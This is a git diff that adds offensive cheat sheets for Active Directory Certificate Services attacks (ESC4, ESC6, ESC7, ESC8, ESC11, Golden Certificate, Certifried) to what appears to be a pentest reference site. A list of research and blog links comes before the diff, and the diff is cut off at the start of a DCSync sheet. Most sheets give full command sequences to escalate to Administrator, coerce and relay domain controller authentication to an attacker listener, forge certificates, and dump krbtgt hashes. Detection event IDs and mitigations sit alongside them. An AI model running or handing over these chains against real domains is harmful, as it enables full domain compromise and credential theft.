Attack Catalog https://www.semperis.com/blog/as-rep-roasting-explained/ + AD Recon – AS-REP Roasting Attacks - Active Directory Attack https://juggernaut-sec.com/as-rep-roasting/ + The Silent Threat in Active Directory: How AS-REP Roasting Steals ... https://www.trellix.com/blogs/research/the-silent-threat-in-active-directory/ + AS-REP roasting detection https://www.hackthebox.com/blog/as-rep-roasting-detection + Zipper Stack: Shadow Stacks Without Shadow https://arxiv.org/pdf/1902.00888.pdf + Oreo: Protecting ASLR Against Microarchitectural Attacks (Extended Version) http://arxiv.org/pdf/2412.07135.pdf + Security Mitigations for Return-Oriented Programming Attacks https://arxiv.org/pdf/1008.4099.pdf + Attacking Recommender Systems with Augmented User Profiles https://arxiv.org/pdf/2005.08164.pdf + Data-Free Hard-Label Robustness Stealing Attack https://arxiv.org/pdf/2312.05924.pdf + ROPNN: Detection of ROP Payloads Using Deep Neural Networks https://arxiv.org/pdf/1807.11110.pdf + Adversarial Attacks on Both Face Recognition and Face Anti-spoofing Models https://arxiv.org/html/2405.16940v1 + VANET Routing Replay Attack Detection Research Based on SVM https://www.matec-conferences.org/articles/matecconf/pdf/2016/26/matecconf_mmme2016_05020.pdf + What is AS-REP Roasting? https://jumpcloud.com/it-index/what-is-as-rep-roasting + AS-REP Roasting Attack Explained | Real-Life Active Directory Exploit ... https://www.youtube.com/watch?v=zl0v5lYSNlQ + InternalAllTheThings/docs/active-directory/ad-roasting-asrep.md at main · swisskyrepo/InternalAllTheThings https://github.com/swisskyrepo/InternalAllTheThings/blob/main/docs/active-directory/ad-roasting-asrep.md + AS-REP Roasting: Exploiting Kerberos for Password Hashes https://redbotsecurity.com/as-rep-roasting/ + Cracking Active Directory Passwords with AS-REP Roasting https://netwrix.com/en/resources/blog/cracking_ad_password_with_as_rep_roasting/ diff --git a/src/content/sheets/active-directory/attack-30-esc4-template-write-permissions.md b/src/content/sheets/active-directory/attack-30-esc4-template-write-permissions.md @@ -0,0 +1,120 @@ +--- +title: "Attack #30 — ESC4 Template Write Permissions" +description: "ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on a…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation"] +tools: ["Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #30 — ESC4 Template Write Permissions.md" +--- +# 🟢 Attack #30 — ESC4: Template Write Permissions + +*** + +## 📖 How It Works + +ESC4 exploits **overly permissive ACLs on certificate templates**. If a low-privileged user has **WriteProperty, WriteDACL, WriteOwner, or FullControl** on a template object, they can modify that template's configuration to make it vulnerable to ESC1 — enabling the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag, adding Client Authentication EKU, and removing approval requirements. Once modified, the attacker enrolls using the now-vulnerable template to get a certificate for any user. + +### The Attack Flow + +``` +1. Find a template where you have write permissions +2. Modify the template: + - Enable ENROLLEE_SUPPLIES_SUBJECT (allows SAN specification) + - Set EKU to Client Authentication + - Disable Manager Approval + - Disable Authorized Signatures +3. Request certificate with SAN = Administrator +4. Authenticate as Administrator +5. Revert template changes (cleanup) +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Write permissions on template** | WriteProperty, WriteDACL, WriteOwner, or FullControl | +| **Enrollment rights** | Must also be able to enroll for the template | + +*** + +## 💻 Full Commands + +### 🔵 Enumerate Writable Templates + +```bash +# ── Certipy ─────────────────────────────────────────────────────────────────── +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout +# Look for: ESC4 — template ACL allows modification + +# ── modifyCertTemplate.py ───────────────────────────────────────────────────── +python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ + -template VulnTemplate -get-acl +``` + +### 🔴 Modify Template → Convert to ESC1 + +```bash +# ── Certipy — modify template to be ESC1-vulnerable ────────────────────────── +# Save current config first: +certipy template -u low_user@corp.local -p 'Password1' \ + -template VulnTemplate -save-old -dc-ip 10.10.10.10 + +# Modify to ESC1: +certipy template -u low_user@corp.local -p 'Password1' \ + -template VulnTemplate -dc-ip 10.10.10.10 \ + -configuration ESC1 + +# ── Alternative: modifyCertTemplate.py ──────────────────────────────────────── +python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ + -template VulnTemplate \ + -add enrollee_supplies_subject \ + -add client_authentication +``` + +### 🔴 Exploit as ESC1 + +```bash +# ── Request certificate with SAN = Administrator ───────────────────────────── +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.10.10 + +# ── Authenticate ────────────────────────────────────────────────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +``` + +### 🔴 Cleanup — Revert Template + +```bash +# ── Restore original template configuration ─────────────────────────────────── +certipy template -u low_user@corp.local -p 'Password1' \ + -template VulnTemplate -dc-ip 10.10.10.10 -configuration VulnTemplate.json +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4899** | Security Log (CA) | Certificate template modification | +| **5136** | Security Log (DC) | AD object modification (template object in CN=Certificate Templates) | + +*** + +## 🔗 Attack Chain Context + +``` +[ESC4] ──→ Write access on template → convert to ESC1 → domain compromise + │ + ├──→ 🔗 Converts any writable template into ESC1 + ├──→ 📋 Always revert changes after exploitation + └──→ 💀 Defeated by: restrict template ACLs, monitor 4899/5136 +``` + +*** + +> ✅ **Attack #30 — ESC4 complete.** diff --git a/src/content/sheets/active-directory/attack-31-esc6-editf-attributesubjectaltname2-flag.md b/src/content/sheets/active-directory/attack-31-esc6-editf-attributesubjectaltname2-flag.md @@ -0,0 +1,93 @@ +--- +title: "Attack #31 — ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 Flag" +description: "ESC6 is a CA-wide misconfiguration where the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is enabled on the Certificate Authority. When this flag is set, it allows…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["Certipy", "Certify", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #31 — ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 Flag.md" +--- +# 🟢 Attack #31 — ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 Flag + +*** + +## 📖 How It Works + +ESC6 is a **CA-wide misconfiguration** where the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is enabled on the Certificate Authority. When this flag is set, it allows certificate requesters to specify an arbitrary **Subject Alternative Name (SAN)** in their certificate request — regardless of the template's configuration. This means even templates that normally don't allow SAN specification become vulnerable — the attacker can request a certificate for any user in the domain. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **EDITF_ATTRIBUTESUBJECTALTNAME2 enabled on CA** | CA-level configuration flag | +| **Enrollment rights on any Client Auth template** | Any template with Client Authentication EKU | + +*** + +## 💻 Full Commands + +### 🔵 Check If Flag Is Enabled + +```powershell +# ── certutil (on the CA or targeting it remotely) ───────────────────────────── +certutil -config "CORP-CA" -getreg policy\EditFlags +# Look for: EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144) +``` + +```bash +# ── Certipy ─────────────────────────────────────────────────────────────────── +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout +# Look for: ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 is set +``` + +### 🔴 Exploit ESC6 + +```bash +# ── Request cert with arbitrary SAN using ANY template ──────────────────────── +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -template User -upn Administrator@corp.local -dc-ip 10.10.10.10 + +# ── Authenticate as Administrator ───────────────────────────────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +``` + +```powershell +# ── Certify ─────────────────────────────────────────────────────────────────── +.\Certify.exe request /ca:CORP-CA /template:User /altname:Administrator +``` + +*** + +## 🎯 OPSEC Tips + +- **ESC6 affects ALL templates** — even properly configured ones become vulnerable +- **Microsoft patched this** in May 2022 (KB5014754) — patched CAs ignore SAN in request if template doesn't allow it +- **Check patch level** — unpatched CAs are still vulnerable + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4886** | Security Log (CA) | Certificate enrollment with SAN different from requester | +| **4887** | Security Log (CA) | Certificate issued with arbitrary SAN | + +*** + +## 🔗 Attack Chain Context + +``` +[ESC6] ──→ CA flag allows SAN on ANY template → impersonate any user + │ + ├──→ 🔗 Makes every template ESC1-equivalent + ├──→ 📋 Patched in KB5014754 (May 2022) + └──→ 💀 Defeated by: disable EDITF flag, patch CA, audit enrollments +``` + +*** + +> ✅ **Attack #31 — ESC6 complete.** diff --git a/src/content/sheets/active-directory/attack-32-esc7-vulnerable-ca-officer-permissions.md b/src/content/sheets/active-directory/attack-32-esc7-vulnerable-ca-officer-permissions.md @@ -0,0 +1,120 @@ +--- +title: "Attack #32 — ESC7 Vulnerable CA Officer Permissions" +description: "ESC7 exploits overly permissive CA permissions. If a low-privileged user has ManageCA rights on the Certificate Authority, they can grant themselves…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation"] +tools: ["Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #32 — ESC7 Vulnerable CA Officer Permissions.md" +--- +# 🟢 Attack #32 — ESC7: Vulnerable CA Officer Permissions + +*** + +## 📖 How It Works + +ESC7 exploits **overly permissive CA permissions**. If a low-privileged user has **ManageCA** rights on the Certificate Authority, they can grant themselves **ManageCertificates** (Certificate Officer) rights, then approve their own failed/pending certificate requests — including requests for the SubCA template, which grants full CA-level authority. + +### Two Sub-Variants + +| Variant | Permission | Exploitation | +|---|---|---| +| **ESC7a** | ManageCA | Self-grant ManageCertificates → approve own requests | +| **ESC7b** | ManageCertificates | Directly approve pending/failed requests | + +### Attack Flow (ESC7a — ManageCA) + +``` +1. Have ManageCA permission on the CA +2. Grant yourself ManageCertificates via CERTSRV.MSC or Certipy +3. Enable the SubCA template (if not already enabled) +4. Request a certificate using the SubCA template (will fail initially) +5. Use ManageCertificates to approve the failed request +6. Retrieve the issued certificate +7. Authenticate as any user +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **ManageCA or ManageCertificates on CA** | Check CA permissions | +| **Domain user account** | Principal with overly permissive CA rights | + +*** + +## 💻 Full Commands + +### 🔴 ESC7a — ManageCA → ManageCertificates → SubCA + +```bash +# ── Step 1: Add yourself as officer (grant ManageCertificates) ──────────────── +certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -add-officer low_user -dc-ip 10.10.10.10 + +# ── Step 2: Enable SubCA template ──────────────────────────────────────────── +certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -enable-template SubCA -dc-ip 10.10.10.10 + +# ── Step 3: Request SubCA certificate (will fail — needs approval) ─────────── +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -template SubCA -upn Administrator@corp.local -dc-ip 10.10.10.10 +# Note the Request ID from the output (e.g., Request ID: 42) + +# ── Step 4: Approve the failed request (using ManageCertificates) ──────────── +certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -issue-request 42 -dc-ip 10.10.10.10 + +# ── Step 5: Retrieve the issued certificate ─────────────────────────────────── +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -retrieve 42 -dc-ip 10.10.10.10 + +# ── Step 6: Authenticate ────────────────────────────────────────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +``` + +### 🔴 ESC7b — ManageCertificates Direct + +```bash +# ── If you already have ManageCertificates, skip the officer step ───────────── +# Request + approve flow is the same as steps 3-6 above +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -template SubCA -upn Administrator@corp.local -dc-ip 10.10.10.10 + +certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -issue-request <ID> -dc-ip 10.10.10.10 + +certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ + -retrieve <ID> -dc-ip 10.10.10.10 + +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4890** | Security Log (CA) | CA security settings changed (officer added) | +| **4886** | Security Log (CA) | Certificate request for SubCA template | +| **4887** | Security Log (CA) | Certificate issued after manual approval | + +*** + +## 🔗 Attack Chain Context + +``` +[ESC7] ──→ CA permissions abuse → approve own requests → domain compromise + │ + ├──→ 🔑 ManageCA → self-grant ManageCertificates → approve SubCA requests + ├──→ 🔗 SubCA cert = full CA authority + └──→ 💀 Defeated by: restrict ManageCA/ManageCertificates, audit CA permissions +``` + +*** + +> ✅ **Attack #32 — ESC7 complete.** diff --git a/src/content/sheets/active-directory/attack-33-esc8-ntlm-relay-to-adcs-http-endpoint.md b/src/content/sheets/active-directory/attack-33-esc8-ntlm-relay-to-adcs-http-endpoint.md @@ -0,0 +1,135 @@ +--- +title: "Attack #33 — ESC8 NTLM Relay to ADCS HTTP Endpoint" +description: "ESC8 is one of the most impactful ADCS attacks — it enables a full domain compromise from unauthenticated or low-privileged access by combining NTLM…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "ntlm", "relay"] +tools: ["Impacket", "Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #33 — ESC8 NTLM Relay to ADCS HTTP Endpoint.md" +--- +# 🟢 Attack #33 — ESC8: NTLM Relay to ADCS HTTP Endpoint + +*** + +## 📖 How It Works + +ESC8 is one of the **most impactful ADCS attacks** — it enables a full domain compromise from **unauthenticated or low-privileged access** by combining **NTLM coercion** (PetitPotam, PrinterBug) with **NTLM relay** to the CA's Web Enrollment HTTP endpoint. The attacker coerces a Domain Controller to authenticate, relays that authentication to the CA's HTTP enrollment service, and requests a certificate as the DC machine account — then uses that certificate to DCSync. + +### Attack Chain + +``` +1. Start ntlmrelayx targeting the CA's HTTP enrollment endpoint +2. Coerce DC to authenticate to your listener (PetitPotam/PrinterBug) +3. ntlmrelayx relays DC's NTLM auth to the CA web enrollment +4. CA issues a certificate for the DC machine account +5. Use the DC certificate to authenticate and DCSync +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **CA Web Enrollment enabled (HTTP)** | `/certsrv/` endpoint accessible over HTTP | +| **No EPA (Extended Protection for Auth)** | EPA must be disabled for relay to work | +| **Coercion capability** | PetitPotam, PrinterBug, DFSCoerce, etc. | +| **Network position** | Can reach both DC and CA | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **ntlmrelayx.py** | Linux | `--adcs` flag for certificate enrollment relay | +| **PetitPotam** | Linux | Coerce DC authentication | +| **printerbug.py** | Linux | Alternative coercion | +| **Certipy** | Linux | Relay module for ADCS | +| **Coercer** | Linux | Multi-protocol coercion | + +*** + +## 💻 Full Commands + +### 🔴 Full ESC8 Attack + +```bash +# ── Step 1: Start ntlmrelayx targeting CA web enrollment ────────────────────── +ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \ + -smb2support --adcs --template DomainController + +# ── Step 2: Coerce DC authentication to your listener ──────────────────────── +# PetitPotam (unauthenticated on unpatched): +python3 PetitPotam.py ATTACKER_IP DC01.corp.local + +# Or with credentials: +python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \ + ATTACKER_IP DC01.corp.local + +# Or PrinterBug: +printerbug.py corp.local/low_user:'Password1'@DC01.corp.local ATTACKER_IP + +# ── ntlmrelayx output: ─────────────────────────────────────────────────────── +# [*] SMBD: Received connection from 10.10.10.10 +# [*] Relaying to http://CA01.corp.local/certsrv/certfnsh.asp +# [*] Certificate successfully enrolled! +# [*] Base64 certificate: <long_base64_string> + +# ── Step 3: Save the base64 certificate ─────────────────────────────────────── +echo "<base64_cert>" | base64 -d > dc01.pfx + +# ── Step 4: Authenticate with the DC certificate ───────────────────────────── +certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 +# Returns DC01$ NT hash + +# ── Step 5: DCSync with DC machine hash ─────────────────────────────────────── +secretsdump.py corp.local/'DC01$'@DC01.corp.local \ + -hashes :<DC01_NTHASH> -just-dc-user krbtgt +``` + +### 🔴 Using Certipy Relay Module + +```bash +# ── Certipy relay (alternative to ntlmrelayx) ──────────────────────────────── +certipy relay -ca CA01.corp.local -template DomainController + +# Then coerce with PetitPotam as above +``` + +*** + +## 🎯 OPSEC Tips + +- **PetitPotam may work unauthenticated** on unpatched DCs — highest impact scenario +- **ESC8 is the quintessential ADCS attack** — shown in every major pentest certification +- **Check for EPA** before attempting — Certipy `find` will report if EPA is enforced +- **The certificate template must be DomainController or Machine** — to get a cert for the DC + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4886** | Security Log (CA) | Certificate enrollment for DC machine account from unexpected source | +| **4768** | Security Log (DC) | PKINIT TGT request from unexpected host | +| **4624** | Security Log (DC) | NTLM logon from unexpected source to CA | + +*** + +## 🔗 Attack Chain Context + +``` +[ESC8] ──→ NTLM Relay to CA → DC certificate → DCSync → domain compromise + │ + ├──→ 🖨️ Coerce: PetitPotam (#41) / PrinterBug (#42) + ├──→ 🩸 DC cert → DCSync → KRBTGT → Golden Ticket + ├──→ 💥 Potentially unauthenticated full domain compromise + └──→ 💀 Defeated by: enable EPA, enforce HTTPS, disable web enrollment +``` + +*** + +> ✅ **Attack #33 — ESC8 complete.** diff --git a/src/content/sheets/active-directory/attack-34-esc11-ntlm-relay-to-adcs-rpc.md b/src/content/sheets/active-directory/attack-34-esc11-ntlm-relay-to-adcs-rpc.md @@ -0,0 +1,80 @@ +--- +title: "Attack #34 — ESC11 NTLM Relay to ADCS RPC" +description: "ESC11 is similar to ESC8 but targets the CA's RPC enrollment interface (MS-ICPR) instead of the HTTP web enrollment. If the CA does not enforce packet…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "ntlm", "relay"] +tools: ["Impacket", "Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #34 — ESC11 NTLM Relay to ADCS RPC.md" +--- +# 🟢 Attack #34 — ESC11: NTLM Relay to ADCS RPC + +*** + +## 📖 How It Works + +ESC11 is similar to ESC8 but targets the CA's **RPC enrollment interface (MS-ICPR)** instead of the HTTP web enrollment. If the CA does not enforce packet privacy (the `IF_ENFORCEENCRYPTICERTREQUEST` flag is disabled), an attacker can relay NTLM authentication to the RPC interface to request certificates — even when HTTP web enrollment is disabled or protected by EPA. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **IF_ENFORCEENCRYPTICERTREQUEST disabled** | CA RPC interface doesn't require signing/encryption | +| **Coercion capability** | PetitPotam, PrinterBug, etc. | +| **Network access to CA RPC** | TCP 135 + dynamic RPC ports | + +*** + +## 💻 Full Commands + +### 🔵 Check If Vulnerable + +```bash +# ── Certipy ─────────────────────────────────────────────────────────────────── +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout +# Look for: ESC11 — IF_ENFORCEENCRYPTICERTREQUEST is disabled +``` + +### 🔴 Exploit ESC11 + +```bash +# ── Step 1: Start Certipy relay targeting RPC ───────────────────────────────── +certipy relay -ca CA01.corp.local -template DomainController + +# ── Step 2: Coerce DC ───────────────────────────────────────────────────────── +python3 PetitPotam.py ATTACKER_IP DC01.corp.local + +# ── Step 3: Authenticate with resulting certificate ────────────────────────── +certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 + +# ── Step 4: DCSync ──────────────────────────────────────────────────────────── +secretsdump.py corp.local/'DC01$'@DC01.corp.local -hashes :<HASH> -just-dc-user krbtgt +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4886** | Security Log (CA) | Certificate enrollment via RPC from unexpected source | +| **4768** | Security Log (DC) | PKINIT TGT using DC certificate | + +*** + +## 🔗 Attack Chain Context + +``` +[ESC11] ──→ NTLM Relay to CA RPC → same result as ESC8 + │ + ├──→ 🔗 Alternative to ESC8 when HTTP enrollment is disabled/protected + ├──→ 💥 Same outcome: DC cert → DCSync → domain compromise + └──→ 💀 Defeated by: enable IF_ENFORCEENCRYPTICERTREQUEST, disable NTLM +``` + +*** + +> ✅ **Attack #34 — ESC11 complete.** diff --git a/src/content/sheets/active-directory/attack-35-golden-certificate-attack.md b/src/content/sheets/active-directory/attack-35-golden-certificate-attack.md @@ -0,0 +1,135 @@ +--- +title: "Attack #35 — Golden Certificate Attack" +description: "The Golden Certificate attack is the ADCS equivalent of a Golden Ticket. By stealing the Certificate Authority's private key and CA certificate, an…" +category: active-directory +tags: ["active-directory", "adcs", "kerberos"] +tools: ["Mimikatz", "Rubeus", "Certipy", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #35 — Golden Certificate Attack.md" +--- +# 🟢 Attack #35 — Golden Certificate Attack + +*** + +## 📖 How It Works + +The Golden Certificate attack is the **ADCS equivalent of a Golden Ticket**. By stealing the Certificate Authority's **private key** and **CA certificate**, an attacker can **forge certificates for any user** entirely offline — without ever touching the CA again. These forged certificates are indistinguishable from legitimate ones because they're signed by the real CA private key. + +### Impact + +- **Forge certificates for any user** — DA, EA, service accounts +- **Completely offline** — no CA interaction needed after key theft +- **Survives** password resets, KRBTGT rotation, and most remediation +- **Only remediation**: revoke the CA certificate and rebuild the PKI + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin on CA server** | To extract the CA private key | +| **CA private key exportable** | Default in most deployments | +| **Or**: backup of CA key | From `certutil -backup` or DPAPI extraction | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Certipy** | Linux | `backup` command to extract CA key + cert | +| **SharpDPAPI** | Windows | DPAPI-based CA key extraction | +| **Mimikatz** | Windows | `crypto::capi` / `crypto::cng` for CA key export | +| **certutil** | Windows | Native CA backup | +| **ForgeCert** | Windows | Forge certificates using stolen CA key | + +*** + +## 💻 Full Commands + +### 🔴 Step 1 — Extract CA Private Key + +```bash +# ── Certipy backup (from Linux — requires admin on CA) ──────────────────────── +certipy ca -u Administrator@corp.local -p 'Password1' \ + -ca CORP-CA -backup -dc-ip 10.10.10.10 +# Outputs: CORP-CA.pfx (contains CA certificate + private key) +``` + +```powershell +# ── certutil (on the CA server) ─────────────────────────────────────────────── +certutil -backup C:\Temp\ca_backup p@ssword +# Exports CA cert + key to C:\Temp\ca_backup\ + +# ── Mimikatz — export CA key ────────────────────────────────────────────────── +privilege::debug +crypto::capi +crypto::certificates /export /systemstore:LOCAL_MACHINE + +# ── SharpDPAPI — extract from DPAPI-protected store ────────────────────────── +.\SharpDPAPI.exe certificates /machine +``` + +### 🔴 Step 2 — Forge Certificate for Any User + +```bash +# ── Certipy — forge certificate as Administrator ───────────────────────────── +certipy forge -ca-pfx CORP-CA.pfx -upn Administrator@corp.local \ + -subject 'CN=Administrator,CN=Users,DC=corp,DC=local' +# Output: forged_administrator.pfx + +# ── Authenticate ────────────────────────────────────────────────────────────── +certipy auth -pfx forged_administrator.pfx -dc-ip 10.10.10.10 +# Returns Administrator NT hash + TGT +``` + +```powershell +# ── ForgeCert (Windows) ─────────────────────────────────────────────────────── +.\ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "p@ssword" \ + --Subject "CN=Administrator,CN=Users,DC=corp,DC=local" \ + --SubjectAltName "Administrator@corp.local" \ + --NewCertPath forged.pfx --NewCertPassword "FakePass" + +# Use Rubeus for PKINIT authentication +.\Rubeus.exe asktgt /user:Administrator /certificate:forged.pfx \ + /password:FakePass /ptt +``` + +*** + +## 🎯 OPSEC Tips + +- **Golden Certificate = permanent, stealthy persistence** — harder to remediate than Golden Ticket +- **CA key theft requires CA server admin access** — this is a post-DA persistence technique +- **Unlike Golden Ticket, KRBTGT rotation does NOT invalidate Golden Certificates** +- **Only fix**: full PKI rebuild — revoke old CA cert, issue new one, re-enroll all certificates + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4768** | Security Log (DC) | PKINIT authentication with certificates not in CA database | +| **4886/4887** | Security Log (CA) | Missing — forged certs bypass CA logging entirely | + +**Key detection challenge:** The CA never issued the forged certificate, so there's no enrollment event. Detection must focus on **PKINIT authentication events** where the presented certificate serial number doesn't exist in the CA's issued certificate database. + +*** + +## 🔗 Attack Chain Context + +``` +[Golden Certificate] ──→ Permanent Domain Persistence via PKI + │ + ├──→ 🔒 Survives: password resets, KRBTGT rotation, DA removal + ├──→ 💀 Only remediation: full PKI rebuild + ├──→ 🔗 Prereqs: admin on CA server (via DA) + └──→ 📊 Persistence ranking: Golden Certificate > Golden Ticket +``` + +*** + +> ✅ **Attack #35 — Golden Certificate complete.** diff --git a/src/content/sheets/active-directory/attack-36-certifried-cve-2022-26923.md b/src/content/sheets/active-directory/attack-36-certifried-cve-2022-26923.md @@ -0,0 +1,102 @@ +--- +title: "Attack #36 — Certifried (CVE-2022-26923)" +description: "Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a new…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "persistence"] +tools: ["Impacket", "Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #36 — Certifried (CVE-2022-26923).md" +--- +# 🟢 Attack #36 — Certificate Persistence (Certifried / CVE-2022-26923) + +*** + +## 📖 How It Works + +Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a new machine account (via MachineAccountQuota), change its `dNSHostName` attribute to match a Domain Controller's hostname, then request a Client Authentication certificate. The CA issues a certificate with the DC's hostname — allowing the attacker to authenticate as the DC and perform DCSync. + +### Attack Flow + +``` +1. Create machine account (FAKE$) via MachineAccountQuota +2. Change FAKE$'s dNSHostName to DC01.corp.local +3. Request a certificate using the Machine template +4. CA issues cert with DC01.corp.local in the SAN +5. Authenticate with the certificate → impersonate DC01$ +6. DCSync → domain compromise +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **MachineAccountQuota > 0** | Default is 10 — allows domain users to create computer accounts | +| **ADCS deployed with Machine template** | Standard deployment has this | +| **Unpatched DCs** | CVE-2022-26923 patched in May 2022 | + +*** + +## 💻 Full Commands + +```bash +# ── Step 1: Create machine account ──────────────────────────────────────────── +certipy account create -u low_user@corp.local -p 'Password1' \ + -user 'FAKE$' -pass 'FakePass123!' -dc-ip 10.10.10.10 +# Or: +addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +# ── Step 2: Change dNSHostName to match DC ──────────────────────────────────── +certipy account update -u low_user@corp.local -p 'Password1' \ + -user 'FAKE$' -dns DC01.corp.local -dc-ip 10.10.10.10 + +# ── Step 3: Request certificate for FAKE$ (with DC01 hostname) ─────────────── +certipy req -u 'FAKE$@corp.local' -p 'FakePass123!' -ca CORP-CA \ + -template Machine -dc-ip 10.10.10.10 +# CA issues cert with DC01.corp.local in SAN + +# ── Step 4: Restore dNSHostName (cleanup) ───────────────────────────────────── +certipy account update -u low_user@corp.local -p 'Password1' \ + -user 'FAKE$' -dns FAKE.corp.local -dc-ip 10.10.10.10 + +# ── Step 5: Authenticate as DC01$ ───────────────────────────────────────────── +certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 +# Returns DC01$ NT hash + +# ── Step 6: DCSync ──────────────────────────────────────────────────────────── +secretsdump.py corp.local/'DC01$'@DC01.corp.local \ + -hashes :<DC01_HASH> -just-dc-user krbtgt +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4741** | Security Log (DC) | Computer account creation | +| **5136** | Security Log (DC) | dNSHostName attribute modification on computer object | +| **4886** | Security Log (CA) | Certificate enrollment for machine account | + +*** + +## 🔗 Attack Chain Context + +``` +[Certifried] ──→ Machine account cert abuse → DC impersonation → DCSync + │ + ├──→ 🔗 CVE-2022-26923 — patched May 2022 + ├──→ 💻 Low-priv → machine account → DC cert → full domain + └──→ 💀 Defeated by: patch, set MAQ=0, monitor dNSHostName changes +``` + +*** + +> ✅ **Attack #36 — Certifried complete.** + +*** + +> 🏁 **Category 4 — ADCS Attacks is now COMPLETE (10/10 attacks).** diff --git a/src/content/sheets/active-directory/attack-37-dcsync-attack.md b/src/content/sheets/active-directory/attack-37-dcsync-attack.md @@ -0,0 +1,735 @@ +--- +title: "Attack #37 — DCSync Attack" +description: "DCSync is the most efficient method for extracting every credential in an Active Directory domain without ever touching the NTDS.dit file on disk or…" +category: active-directory +tags: ["active-directory", "kerberos", "credential-access", "hashing"] +tools: ["NetExec", "Impacket", "Mimikatz", "Certipy", "Hashcat"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #37 — DCSync Attack.md" +--- +# 🔵 Attack #37 — DCSync Attack + +*** + +## 📖 How It Works + +DCSync is **the most efficient method for extracting every credential in an Active Directory domain** without ever touching the NTDS.dit file on disk or running code on a Domain Controller. It exploits the **[Directory Replication Service Remote Protocol (MS-DRSR)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/)** — the legitimate protocol that Domain Controllers use to 